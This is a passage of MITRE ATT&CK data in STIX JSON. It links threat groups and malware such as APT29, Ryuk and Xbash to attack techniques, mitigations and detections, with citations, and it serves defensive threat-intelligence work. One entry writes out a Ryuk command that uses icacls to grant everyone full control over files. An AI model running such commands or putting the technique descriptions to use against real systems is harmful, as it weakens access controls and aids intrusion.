M., Dupuy, T. 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Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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Identify and block potentially malicious software executed through accessibility features functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f718c8ae-859f-4987-bf8c-9fac91a610bf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.108Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91","type":"relationship","created":"2019-02-12T19:56:02.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"},{"source_name":"Trend Micro Xbash Sept 2018","url":"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet","description":"Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."}],"modified":"2019-06-28T15:15:54.544Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baa9bb45-b4d2-4eea-803f-d2d1126330d4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.990Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1da818-6e35-4fa8-ad40-e45c2c90e016","type":"relationship","created":"2020-05-29T16:34:40.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Protected Users Security Group","url":"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group","description":"Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020."}],"modified":"2020-05-29T16:34:40.452Z","description":"Consider adding users to the \"Protected Users\" Active Directory security group. This can help limit the caching of users' plaintext credentials.(Citation: Microsoft Protected Users Security Group)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2fb45a-8359-4c75-93ae-095fcf9f856e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.618Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Softpedia MinerC","description":"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.","url":"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Miner-C](https://attack.mitre.org/software/S0133) copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.(Citation: Softpedia MinerC)","relationship_type":"uses","source_ref":"malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--666e9638-d9d9-4480-a98c-dfa247e43bd2","type":"relationship","created":"2021-03-24T17:06:09.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:07:43.898Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used spearphishing to compromise credentials.(Citation: Microsoft Targeting Elections September 2020)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28d30695-5015-431d-baa6-9e75088a2a83","type":"relationship","created":"2020-05-05T18:47:47.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."}],"modified":"2020-05-05T18:47:47.310Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a keylogging module.(Citation: Imminent Unit42 Dec2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc74cabe-b8bc-4873-a6ff-e16d8f91299f","type":"relationship","created":"2021-10-01T21:53:33.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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(2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). 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Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.661Z","description":"[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f9f6434-5732-49f1-a368-2d2cc9978ba2","created":"2022-04-11T19:02:45.355Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.","modified":"2022-04-11T19:02:45.355Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--410f6714-cd02-4253-b324-a8ac15e70bca","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). 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New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:06:34.645Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing emails with an attachment to deliver files with exploits to initial victims.(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: MSTIC NOBELIUM May 2021)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ba1f46-0dd0-49f7-9d24-3822153229ba","type":"relationship","created":"2020-05-13T19:39:41.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. 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Retrieved March 29, 2021."}],"modified":"2021-03-29T13:01:52.172Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) can launch <code>icacls <path> /grant Everyone:F /T /C /Q</code> to delete every access-based restrictions on files and directories.(Citation: ANSSI RYUK RANSOMWARE)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f54cba45-e641-49e0-b015-b5f6f8a05002","type":"relationship","created":"2019-05-30T17:23:30.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2020-03-18T20:12:51.620Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37880f36-c47a-4d1f-aedf-bb7d9fb2fd9f","type":"relationship","created":"2022-01-05T16:06:56.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. 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(2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}],"modified":"2022-01-11T16:03:19.848Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has used an icon mimicking a text file to mask a malicious executable.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d24a47e5-e735-4cad-9c44-09d3a39d514c","type":"relationship","created":"2020-06-29T01:43:19.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. 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Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.435Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used VBScript to execute commands and other operational tasks.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7333525a-524a-4fd9-bdbf-053f1fac7be8","type":"relationship","created":"2022-02-09T16:23:13.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). 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Retrieved February 7, 2022."}],"modified":"2022-02-09T16:23:13.288Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used compromised service principals to make changes to the Office 365 environment.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13ab9b58-b18a-437f-898e-fc598e8d0939","type":"relationship","created":"2020-11-13T21:28:40.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). 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Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:40.657Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on process names.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40f51fdc-cd3c-4e93-9593-e1ee7cf2211e","type":"relationship","created":"2020-01-17T19:19:05.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-09-16T15:49:58.690Z","description":"Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. 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Retrieved May 11, 2020."}],"modified":"2021-05-26T19:57:42.305Z","description":"[Frankenstein](https://attack.mitre.org/groups/G0101) has obtained and used [Empire](https://attack.mitre.org/software/S0363) to deploy agents.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--343d285a-e910-487b-8e85-dc87cdb63be3","type":"relationship","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. 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Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.497Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to do real time screen viewing on an infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c6804dc-e1d5-43f5-97ee-7d827c9d308d","type":"relationship","created":"2020-07-16T15:07:27.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). 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Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.123Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24dd7ee4-83ed-4f54-808b-8b0e46797df4","type":"relationship","created":"2020-05-05T17:07:33.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. 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Retrieved May 1, 2020."}],"modified":"2020-05-05T21:17:34.628Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the IP address of the compromised host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). 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Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.786Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has scanned specific lists of target IP addresses.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca5d71c9-2184-4cb2-9a63-2146fba66175","type":"relationship","created":"2021-03-12T18:46:47.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). 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Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. 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Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.838Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Python-based implants to interact with compromised hosts.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd2f299e-e471-4f32-96b6-8dc32e872c74","type":"relationship","created":"2019-06-14T16:45:33.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Parys, B. (2017, February 11). The KeyBoys are back in town. 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The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging.(Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ADDSecurity DCShadow Feb 2018","description":"Lucand,G. (2018, February 18). Detect DCShadow, impossible?. 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Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.919Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has collected the username from the victim's machine.(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--966e98f6-1460-4305-8993-57ee3f3f5654","type":"relationship","created":"2021-05-03T17:17:12.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. 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(2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."}],"modified":"2020-03-17T15:10:04.071Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used tmp files to stage gathered information.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7b07cff-8743-4fe9-9999-8ad32995fa95","type":"relationship","created":"2019-09-24T13:37:11.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZEUNION Feb 2019","url":"https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox","description":"Counter Threat Unit Research Team. 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Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.857Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, 